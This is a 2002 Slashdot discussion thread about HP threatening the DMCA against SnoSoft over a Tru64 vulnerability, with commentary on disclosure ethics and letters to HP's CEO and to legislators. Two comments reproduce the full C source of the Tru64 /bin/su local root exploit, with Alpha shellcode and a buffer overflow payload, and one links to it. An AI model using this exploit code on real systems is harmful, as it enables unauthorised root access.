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HP Uses DMCA To Quash Vulnerability Publication
Posted by
Hemos
on Tue Jul 30, 2002 07:28 PM
from the beat-'em-down-with-a-stick dept.
from the beat-'em-down-with-a-stick dept.
Several readers wrote to note the fact that HP has evidently threatened to use the DMCA and computer crime laws against SnoSoft who have found a security flaw in Tru64. The quote from the HP VP is that the accused "could be fined up to $500,000 and imprisoned for up to five years."
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Bruce Perens (Score:5, Insightful)
Re:Bruce Perens (Score:5, Informative)
Bruce
Parent
Re:Bruce Perens (Score:5, Informative)
Bruce
Parent
Re:Bruce Perens (Score:5, Interesting)
Bruce
Parent
This is a marketing disaster for HP. (Score:5, Interesting)
Bruce, if I were president of HP, I would immediately fire Kent Ferson, the vice president who wrote the letter. The letter says, basically, that HP is not able to fix the problem, and would rather hide its security problems.
This is a marketing disaster for HP. Probably Mr. Ferson has little technical knowledge and does not realize that his letter speaks loudly and clearly to the whole world of technically knowledgeable people, and does irrepairable damage to HP.
We live in an amazing world where free products are better than expensive ones. The open source response to a security problem is to have a bug fix on all the mirrors in 48 hours. The response of billion dollar companies with tens of thousands of well-paid employees is to try to weasel out of doing the right thing. Who would have guessed it would be that way?
It seems that you could do HP a big favor if you could educate top management. But maybe they are not educable.
Parent
Re:This is a marketing disaster for HP. (Score:5, Interesting)
Bruce
Parent
Re:Bruce Perens (Score:4, Interesting)
My terms of employment with HP allow me to publicly criticise the company when necessary. I'd rather help them fix the problem so that the criticism is all in the past tense, but the criticism will come if necessary. All I have to go on tonight is news reports.
Thanks
Bruce
Parent
Re:I need your call on this, please, folks. (Score:5, Insightful)
I guess I don't understand how full disclosure can equate to a shakedown.
The company (snosoft) seems like a more or less legit research company, and the fact that they have a full disclosure policy in no way says that they are trying to take out companies. It just says, up front, that they have a policy of disclosing these security breaches that they find.
On the other hand they have to make money somehow - so they contract out their services to companies who wish to have their software audited.
I could be wrong, but by looking through their posts on security focus, I don't think they are out to extort money from companies - and this is especially true if they gave HP a year to fix this problem (in fact if that is true then you should REALLY stick it to the top brass).
It could go either way - but it doesn't look like they are in the business of extortion. And the fact that they have been around for a while, and seem to be respected in the security community says quite a lot....
ON THE OTHER HAND.... I don't see how it is in any way shape or form right for HP to sick the DMCA on them, no matter what their business practices are. This is a vulnerability in HPQ's software and should not be treated with such arrogance (don't report it or else!).
Just my $.02
Derek
Parent
Re:I need your call on this, please, folks. (Score:5, Interesting)
Bruce
Parent
Ironic (Score:5, Insightful)
The chickenshit weasels.
Re:Ironic (Score:5, Informative)
Bruce
Parent
Apache (Score:5, Insightful)
Very mature compared to what big business does. "Wahh wahhh wahh!!! Help us Uncle Sam, we're poor defenseless transnational corporations!" Buncha whiners.
Re:Apache (Score:5, Insightful)
These guys waited a YEAR and HP still hadn't fixed the problem.
Parent
Who's laughing at Alan Cox now? (Score:5, Insightful)
Anyone still feel like laughing?
Re:Who's laughing at Alan Cox now? (Score:4, Insightful)
[SNIP of e-mail quote I replied to]
"It's very simple, and something like this is done all the time in the security industry
by people who not only enjoy it, but who get paid to do it.
1) Discover an exploit or a new way of using a known exploit.
2) Write a trojan, virus, worm, etc. that takes advantage of the exploit.
3)* Report the exploit to the applicable compan(y/ies), Security Focus, etc. and provide
the BINARY of your trojan, virus, or whatever so they can test the
exploit and find a fix.
* Usually people provide the source code as open software. In this case (for this
argument) we release it as binary only and keep full rights.
No law was broken when the trojan, virus, etc. was written and no one can (technically)
seek prosecution. Under DMCA (at least the way the writers of it have
used it), anyone attempting to reverse engineer your virus (or whatever) and provide an
antigen, is liable to you and you can sue them.
To take another angle, those of us who actively look for exploits in software (because
companies like M$ fail to do so themselves) risk being sued for doing so.
This makes jobs like mine EXTREMELY difficult because on the one hand I don't want my
company using software that will allow Joe Cracker to take over our
machines, and on the other I don't want the company sued just because I did some
necessary reverse engineering in order to prevent it (again, because the
software mfg. can't be trusted to do it themselves).
PGA
--
Paul G. Allen
UNIX Admin II/Programmer
Akamai Technologies, Inc.
www.akamai.com
Work: xxx-xxx-xxxx
Cell: xxx-xxx-xxxx"
(Note: I no longer work for the above referenced company as my office was closed late last year. My statements and views are mine alone and do not, nor ever have, represented the views of Akamai Technologies, Inc. or any of it's officers and/or representatives.)
So, what do _I_ get for my warnings to the kernel developers? Blackballed from the list by the maintainer, in a rather rude fashion IMO. (despite the fact that I've received many a thank you for the information I had provided)
So, to all those who have read, heard, and seen such warnings, wherever you've read, seen, or heard them, and were asked to take action and do not, I say stop whining, shut up, and suffer. The same thing I tell people who don't vote - if you can't do your part to fight the problem, you have no right to bitch and moan about it.
My solution to many of these issues is not to support the companies promoting them. I no longer buy CDs, DVDs, or go to movies (yes, I will be missing the second in the LotR series - which I have long awaited.) I do not buy Compaq, and will never buy another HP device. I do not buy M$ products or anoything that runs on M$ platforms either. I have written letters to congress critters, etc. as well.
How many others can say they've actually done their part to fight the DMCA, US Patriot Act, CDBTPA, etc. and/or whatever equivalent laws you may have in your own countries?
I for one wish more folks in Alan's position would speak up. I commend him for doing his part, and he's not even a US citizen, is he?
I for one never did laugh at him.
PGA
Parent
Meanwhile..... (Score:5, Funny)
Halfway around the world, Bill Gates breathes a long sigh of relief as Microsoft's profitability is assured well into the next century...
-Chris
An Excellent Quote (Score:5, Insightful)
When will people learn this is the same thing?
Re:An Excellent Quote (Score:4, Insightful)
So, to carry the Ford Explorer analogy, they should've stayed quiet until the manufacturer recalled all the tires?
HP had a year to deal with this! WHy don't they hire some programmers, instead of lawyers.
Parent
Bruce, it's time for you to make a decision (Score:4, Insightful)
It was legitimate for you to cooperate with HP's valid concern that, as a "deep pockets" organization it would be too risky for them to let you challenge the DMCA. I understood that.
But now it appears that you work for a company that is using the DMCA as a club to suppress discussion of security flaws. It doesn't seem that the two hats you wear (your HP role and your open source leadership role) are compatible unless you can persuade HP to back off.
It is possible, of course, that the DMCA threat is coming from one manager who is shooting his mouth off. If so, we need a clarification from higher management: is it the policy of HP to use the DMCA to suppress discussion of their security flaws, or not?
Re:Bruce, it's time for you to make a decision (Score:4, Informative)
Bruce
Parent
Re:Bruce, it's time for you to make a decision (Score:5, Insightful)
I just want to say that I an 100% behind your request for time instead of having to answer to a horde of mad slashdot zealots wielding pitchforks when you've had no time to investigate. Not all of us here are so quick to assume the worst.
Good luck in your discussions with the PHB's that be.
Parent
Re:Bruce, it's time for you to make a decision (Score:5, Insightful)
You know it is possible -- and ethical! -- to not do something because it goes too far. Or is HP obligated to murder someone if it increases shareholder profit? And before you say, "Well, the law imposes too high a cost", answer me this: What if you could prove the legal sanction was less than the profit realized? Should HP kill the person? Must they?
Parent
Re:Bruce, it's time for you to make a decision (Score:5, Interesting)
The American way is the right to Life, Liberty, and the pursuit of Happiness. The American way is that no law shall abridge free of speech or of the press.
"The only law shalt be maximixe your stock price at all costs" is part of something worse. It isn't even part of the Capitalist way, for true capitalism only works with wide availability of information and strong competition. This is the inbred freak son of Capitalism and Greed. The is the way of life of scam artists, shysters, hucksters, thieves. This is the Monopolist's Way.
I understand perfectly well that "thou shalt increase your stock price or face lawsuits," but I don't have to like it. It's a corruption of everything America, freedom, and true capitalism. I have every right to name it beast and call for it to be cast into the fires.
Parent
From the lawer.. (Score:5, Funny)
HP users herby request that HP remove the buffer overflow exploit from Tru64.
DMCA and research (Score:4, Insightful)
* Technically, they only threatened to invoke the DMCA. As of now, HP has also only threatened to invoke it.
Re:DMCA and research (Score:5, Insightful)
Uh, no, "invoking the DMCA" is precicely what HP is doing, though they haven't formally filed a complaint with the feds. How can you possibly defend these unscrupulous fucks? From dictionary.com [dictionary.com].
invoke Pronunciation Key(n-vk)
tr.v. invoked, invoking, invokes
2. To appeal to or cite in support or justification.
5. To resort to; use or apply:
Parent
hp wasting valuable engery (Score:4, Insightful)
when you are fighting in a tough market *and* trying to make a merger happen without too much bad stuff, it seems that it is counter-productive to play this game: you make people mad, you spend resources (money and man-hours that could be easily used elsewhere) and you are *not* going to achive the immediate goal of supressing bad stuff (real or imagined).
so hp gets more points in the bad pr column, they waste money, and the problem doesn't go away. i hope that they spin off the printer division before they crash and burn.
eric
p.s. i guess the worst part is that hp *didn't* learn from all the other companies that went down this path.
bugtraq email (Score:4, Informative)
got fed up of corporate bullshit
here is the warez, nothing special, but it does the job
note, this is just one of many many exploitable bofs in tru64 5.x
http://deepmagic.securify.org.uk:8080/su.c
phased
phased@mail
In other news (Score:4, Funny)
Ridiculous (Score:5, Insightful)
HP trying to cover this up just proves its a problem. HP is using the DMCA to prevent people from discussing valid flaws in their OS'.
People have the right to know if the car they're driving -- or are going to buy -- is unsafe. Why? Because their lives depend on it, literally. For the same reason, people have the right to know if the OS they're using is secure. Why? Because their lives depend on it, or at least their carreers. Data important to one's carreer (i.e., scientific experimental data) is stored on one's computer. Private information -- i.e., credit card information -- is stored on a computer. Security holes can literally destroy one's life.
We have the right to know exactly what problems their are in our software.
as a Tru64 admin... (Score:4, Interesting)
Still, this sort of head-in-the-sand response to security vulnerabilities is not a good way to make happy customers. Obviously, the exploit exists; what HP apparently wants to do is make sure that it only gets passed around on IRC so that admins can get completely blindsided.
Of course, Compaq already killed the Alpha, and don't get me started on their support contracts (OK, so they inherited those). It's almost as if they don't want customers (well, DigitalUNIX/Tru64 customers probably *are* a bit of a pain in the ass, compared to MCSEs).
It's just sad to see the last bits of the carcass of what was once a pretty cool company (DEC) get so abused.
Tell HP's CEO what you think! (Score:5, Informative)
Tell her in NICE non flaming tones why you feel what they are doing is wrong. Explain that this kind of action makes you unwilling to buy any more products from them.
Re:Tell HP's CEO what you think! (Score:4, Funny)
I just read about your company's threat of action under the DMCA against a security researcher who released exploit information about your Tru64 Unix product. As a software engineer working for a large competitor of yours, I'd like to thank you for your actions. The well-earned reputation for security and reliability of our product can only be enhanced by ill-mannered attempts at suppressing information from your company. Any further help you can provide in assuring my future job security in this uncertain economy will be greatly appreciated.
Parent
My mail to Carly (Score:4, Interesting)
I work for a retailer -- Best Buy -- which sells a large volume of HP and Compaq products. I have long been a fan of Hewlett Packard, but some recent news is troubling me.
Kent Ferson's reaction to Phased's posting of the security vulnerability in Tru64 was nothing short of shockingly irresponsible.
Not only am I disturbed that there was no statement of any intent to fix the security hole, but I am shocked at the threat of a lawsuit under the DMCA. You should be grateful that the hole was brought to your attention before it became a widespread problem, not to mention that had you fixed it in a timely manner (as the hole was revealed to you by SnoSoft last year), this would never have been a problem.
This reaction tells me that not only is HP/Compaq concerned more with their image than with ensuring the quality of their products, but that "The New HP" would rather abuse copyright law by "shooting the messenger" than issue a responsible statement, and repair an error before it becomes a problem.
I'll be waiting in the next few days for a press release or some other statement denouncing Mr. Ferson's actions, and showing that HP has plans to repair the hole in Tru64. Until this happens, I'm not sure I'll be able to reccomend that anyone give their money to Hewlett Packard.
Looking forward to your response.
[Name Removed]
Parent
Re:My mail to Carly (Score:4, Insightful)
Talk about the pot calling the kettle black...
Parent
So This is the, "New HP?" (Score:4, Interesting)
HP Classic would never have pulled a stunt like this. They would have gone, "Oops, my bad, here's a bugfix everyone."
As time goes on, it looks more and more as if Walter Hewlett and David Packard were right: This whole "New HP" thing is just so much hogwash.
Schwab
Babelfish Translation (Score:5, Funny)
Dear HPaq customers,
We thank you for having purchased our products in the past, but now that we have finalized our merger and cashed our options, we have lost our minds and come to the boggling conclusion that we don't want your money anymore. Please do not buy our products because honestly you can't trust us to inform you when there is a defect with our product. This includes any servers, and handhelds our merger partner might peddle, printers, or whatever the hell it is these people do. As a sign of our gratitude for your service, we will be providing each future customer with a free Berber mousepad under which you can sweep any problems you discover. I you believe the problem doesn't exist, and we believe the problem doesn't exist, then we can work together to warp reality and drive cusomers away like poor starving slobs on the street corner to a free luncheon. Personally, I don't recommend you use these things in anything that might risk a human life or attempt to improve society in any way. Heck, I wouldn't run my porn servers on this crap. Well, gotta run, muy coke dealer is here. And don't forget to F off!
P.S. - Don't unravel the mousepad to see how it's made or we'll sue your ass into orbit under the DCMA.
Dear Ms. Fiorina (Score:5, Interesting)
I am quite disappointed with HP's recent conduct with two issues related to the DMCA. I am in a senior enough position as a UNIX administrator that I have significant impact in how a multi-million dollar IT budget is spent. HP's invocation of the DMCA reduces my trust in HP as a vendor of secure and reliable technology. Therefore I am less inclined now than I ever have been in the past to purchase HP products.
The first issue is HP's request that Bruce Parens not present his findings on DVD copyright controls. If he is acting on his own behalf, and includes a disclaimer that this is a separate issue from what he does under the employment of HP, he should be allowed to go forth. If he is presenting HP intellectual property, HP has the right and responsibility to protect itself. This, however, does not seem to be the case.
The more disturbing issue is with regards to the handling of SnoSoft's publication of root exploits to the Tru64 operating system. As a UNIX administrator, I am responsible for researching technologies that I will put into production. Many times, these products are used to protect the intellectual property, stability, or other things that are of great importance to my employer's success and my career. If security researchers cannot force many of the bugs out in the open before I evaluate products, I have much more work on my hands. Furthermore, if I find a bug that I know can be used to compromise my system, without the ability to publicly discuss and disclose the bug, I may be unable to get a fix from the vendor or a home-grown workaround. If I am at the complete mercy of my vendors' good will, I fear that I will have a system that lacks stability and security.
Please reconsider your decision to use the Digital Millenium Copyright Act to stifle free speech. Once you come to the realization that the DMCA is not a law that is useful for HP, please put your lobbying efforts into repealing it and push for funding to enforce pre-DMCA laws that already provide more than adequate protections on copyright and other intellectual property issues.
I do not speak for my employer. Please remember, however, that my employer trusts me to make decisions that are in the employer's best interest. Your actions suggest that the purchase of HP products is in the best interest of no employer that I would work for.
Leave it to crackers (Score:5, Insightful)
Let the crackers have it.
Honorable Bruce Perens (Score:4, Informative)
, and in his Bio [perens.com] you can find:
" Hewlett-Packard Corporation - 2000 to Present
Senior strategist, Linux and Open Source. I am the first Open Source evangelist to gain a role in top management of a multi-Billion-dollar corporation. On the org chart there are only three people between me and the CEO - a general manager, a vice president, and a president. Among my assignments is to challenge HP management."
So he's in position to speak up in this case.
Note: I don't know if it's redundent but I'm sure some people would like to know. I don't ask for any mod point.
My letter to my Representative and Senators (Score:5, Insightful)
Today I read an article on news.com (http://news.com.com/2100-1023-947325.html) that Hewlett-Packard has intended to use the Digital Millennium Copyright Act (DMCA) to punish a company that has released information about a security vulnerability in an HP product. For quite some time I have been telling you that the DMCA is a bad law that needs to be repealed, and this is just more evidence to that effect. HP has known about this vulnerability for a year, but has chosen to do nothing to fix it.
HP's action could set a precedent that would stifle technology research. Companies would be free to release broken technologies that would eventually be used in high-security environments. Anyone who attempted to test the strengths of these products would be branded a criminal.
HP's customers and the American public deserve to know about security issues in HP's products. Withholding such information is just like the accounting scandals that have been rampant in recent times. Insecure technology is a weapon that hackers and terrorists can use against us. So when an American company decides to hide behind an American law rather than fix it products, our politicians need to re-examine that law.
I urge you to sponsor legislation that will repeal the DMCA. Americans deserve better. Please write back to me and let me know that you support my fair use rights in a digital world, and that you'll be working to repeal the DMCA.
Re:Which Part of the DMCA? (Score:4, Funny)
Parent
Re:Excerpt from the CNet article (Score:4, Insightful)
Parent
Re:Excerpt from the CNet article (Score:4, Interesting)
Parent
Re:Excerpt from the CNet article (Score:5, Insightful)
No, of course you wouldn't like it. And, if you were an emperor who got suckered into walking around naked, you'd be fairly pissed at the kid who pointed out that you were, in fact, naked.
But, this story has nothing to do with HP "liking" or "not liking" it when people (rightly) point out that they're walking around naked. The story is about the fact that the DMCA has emboldened HP to the point that they feel it's better to walk around naked and sue anyone who notices, rather than buying some reasonable clothes.
Etiquette in the security community demands that the discovers of holes give companies reasonable time to respond to security problems, before publicizing the security problems. But this courtesy is not, in any way, a courtesy towards the company that manufactures the flawed product. That company's opinion in the matter doesn't mean squat. It is a courtesy extended entirely to the users of the product. Users are harmed if they do not know about exploitable flaws in the products they use, but at the same time users are harmed if the exploitable flaws are widely known before patches are available. The only reasonable role for a company with flawed products in the security process is to work diligently to minimize the harm to users, by the only method available to them -- by expediting patches for their products, and thus providing an environment where the user can be informed of security flaws in their product as quickly as possible.
Unfortunately, what HP has done here is imagine itself to have some other role in the security process -- someone at HP is under the completely mistaken impression that their opinion of the security process matters in any way. It does not. The courtesies of the security process are entirely towards the users of the flawed product. People have a right to know about flawed products. HP has the opportunity to provide patches to their product, so that those users might have some alternative to simply throwing all of their HP equipment in the garbage, but that is entirely HP's opportunity, and really of no concern either to the users or to the security professionals who disclose the hole.
Parent
Re:DMCA Violation? (Score:4, Insightful)
Parent
Re:DMCA Violation? (Score:4, Interesting)
It is one thing for a MegaCorp to slam down a few million on litigation, it's another for me to pay to fight it. Am I really willing to go to the poor house over this issue? Am I really willing to throw away a fair job, an OK home, and my car?
The problem in the US is that justice is bought and paid for. If you don't have the cash, you are part of the trash. Trash gets swept up. No, the only real effective course of action is to start bitching to office seekers and to stop paying for Intellectual Property. Swap CD's, swap DVD's, for God's sake read a book from the library. But don't shell out bucks for IP anymore. The profit they make is part of the club they are using against us.
If no one purchased what Sony is selling, how long do you think Sony would stay in business? If we boycott RIAA members, how long would it be until Ms. Rosen had to go earn an honest living?
Look, it's not a problem if you fall off the wagon. Just take the amount of money you spent on that CD, movie or DVD and send a like amount to the EFF.
OK, so I'm a broken record.
Parent
Do you mean this source code? (Score:4, Interesting)
#include stdlib.h
#include string.h
#include unistd.h
char shellcode[]= "\x30\x15\xd9\x43" "\x11\x74\xf0\x47" "\x12\x14\x02\x42" "\xfc\xff\x32\xb2" "\x12\x94\x09\x42" "\xfc\xff\x32\xb2" "\xff\x47\x3f\x26" "\x1f\x04\x31\x22" "\xfc\xff\x30\xb2" "\xf7\xff\x1f\xd2" "\x10\x04\xff\x47" "\x11\x14\xe3\x43" "\x20\x35\x20\x42" "xff\xff\xff\xff" "x30\x15\xd9\x43" "\x31\x15\xd8\x43" "\x12\x04\xff\x47" "\x40\xff\x1e\xb6" "\x48\xff\xfe\xb7" "\x98\xff\x7f\x26" "\xd0\x8c\x73\x22" "\x13\x05\xf3\x47" "\x3c\xff\x7e\xb2" "\x69\x6e\x7f\x26" "\x2f\x62\x73\x22" "\x38\xff\x7e\xb2" "\x13\x94\xe7\x43" "\x20\x35\x60\x42" "\xff\xff\xff\xff";
main(int argc, char *argv[]) {
int i, j; char buffer[8239]; char payload[15200];
char nop[] = "\x1f\x04\xff\x47"; bzero(&buffer, 8239); bzero(&payload, 15200); for (i=0;i8233;i++) buffer[i] = 0x41;
buffer[i++] = 0x01; buffer[i++] = 0x04;
buffer[i++] = 0x01; buffer[i++] = 0x40;
buffer[i++] = 0x01;
for (i=0;i15000;) { for(j=0;j4;j++) { payload[i++] = nop[j]; } }
for (i=i,j=0;jsizeof(shellcode);i++,j++)payload[i] = shellcode[j];
printf("/bin/su by phased\n");
printf("payload %db\n", strlen(payload));
printf("buffer %db\n", strlen(buffer));
execl("/usr/bin/su", "su", buffer, payload, 0);
}
Parent
Lets try this again... (Score:5, Interesting)
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\x30\x15\xd9\x43" "\x11\x74\xf0\x47" "\x12\x14\x02\x42" "\xfc\xff\x32\xb2" "\x12\x94\x09\x42" "\xfc\xff\x32\xb2" "\xff\x47\x3f\x26" "\x1f\x04\x31\x22" "\xfc\xff\x30\xb2" "\xf7\xff\x1f\xd2" "\x10\x04\xff\x47"
"\x11\x14\xe3\x43" "\x20\x35\x20\x42" "\xff\xff\xff\xff" "\x30\x15\xd9\x43" "\x31\x15\xd8\x43" "\x12\x04\xff\x47" "\x40\xff\x1e\xb6" "\x48\xff\xfe\xb7" "\x98\xff\x7f\x26" "\xd0\x8c\x73\x22" "\x13\x05\xf3\x47" "\x3c\xff\x7e\xb2" "\x69\x6e\x7f\x26" "\x2f\x62\x73\x22" "\x38\xff\x7e\xb2" "\x13\x94\xe7\x43" "\x20\x35\x60\x42" "\xff\xff\xff\xff";
main(int argc, char *argv[]) {
int i, j;
char buffer[8239];
char payload[15200];
char nop[] = "\x1f\x04\xff\x47";
bzero(&buffer, 8239);
bzero(&payload, 15200);
for (i=0;i<8233;i++)
buffer[i] = 0x41;
buffer[i++] = 0x01;
buffer[i++] = 0x04;
buffer[i++] = 0x01;
buffer[i++] = 0x40;
buffer[i++] = 0x01;
for (i=0;i<15000;) {
for(j=0;j<4;j++) {
payload[i++] = nop[j];
}
}
for (i=i,j=0;j<sizeof(shellcode);i++,j++)
payload[i] = shellcode[j];
printf("/bin/su by phased\n");
printf("payload %db\n", strlen(payload));
printf("buffer %db\n", strlen(buffer));
execl("/usr/bin/su", "su", buffer, payload, 0);
}
Parent
Re:DMCA Virus (Score:5, Funny)
"Somebody" writes a virus, let's call it Rhinovirus 31337. The "source code" is copywritten and encrypted in such a way as to be a technological means to protect the information. In this case, the entire workings of the virus are contained in this string:
ATAGGCAGAGATCAGGCTATACGGCGCCTTATCG...
Pharm-O-Leetica "discovers" the "cure" for Rhinovirus 31337 and launches a multi-million dollar ad blitz, softening the market for deep penetration. They buy up a few Congressman along the way.
Meanwhile, back at 2600 Headquarters, Bruce "Emacs" Perens and Leonard "Vi" Felten have teamed up to discover a cure for the 31337 virus. They easiliy de-sequence, or "reverse engineer," the threat. They hire Russian programmer Dmitry "Acrobat" Sklyarov to announce their findings at the World AIDS Conference.
Just before Dmitry takes the stage, the Feds, led by John Ashcroft and Hillary Rosen, storm the Convention and Dmitry is hauled off and thrown in Camp X-ray for overstaying his visa. Hackers find a backup copy of his work and quickly discover that the files are encrypted with the password "voraylkS." It takes another six weeks to decode the archaic Visicalc format.
In the meantime, millions have become infected with 31337. The cure costs about $1000 per month, but rumors begin surfacing that all you need is a glass of warm milk at bedtime and you'll be fine! Brazil announces that they intend to provide free milk to their suffering populous; pharmaceutical companies around the world cry foul. "That's OUR cure!"
A clueless Pharm-O-Leetica VP, dazed from the fast pace of mergers and layoffs, announces "You reverse engineered our virus; only WE are allowed to do that!!!"
(sound of gauntlet falling)
I dare you to come up with a better analogy!
By the way, Neal Stephenson should write a book based on my post, and I'm not just saying that because I'm an egomaniac who is going to accept the +1 Bonus for this diatribe.
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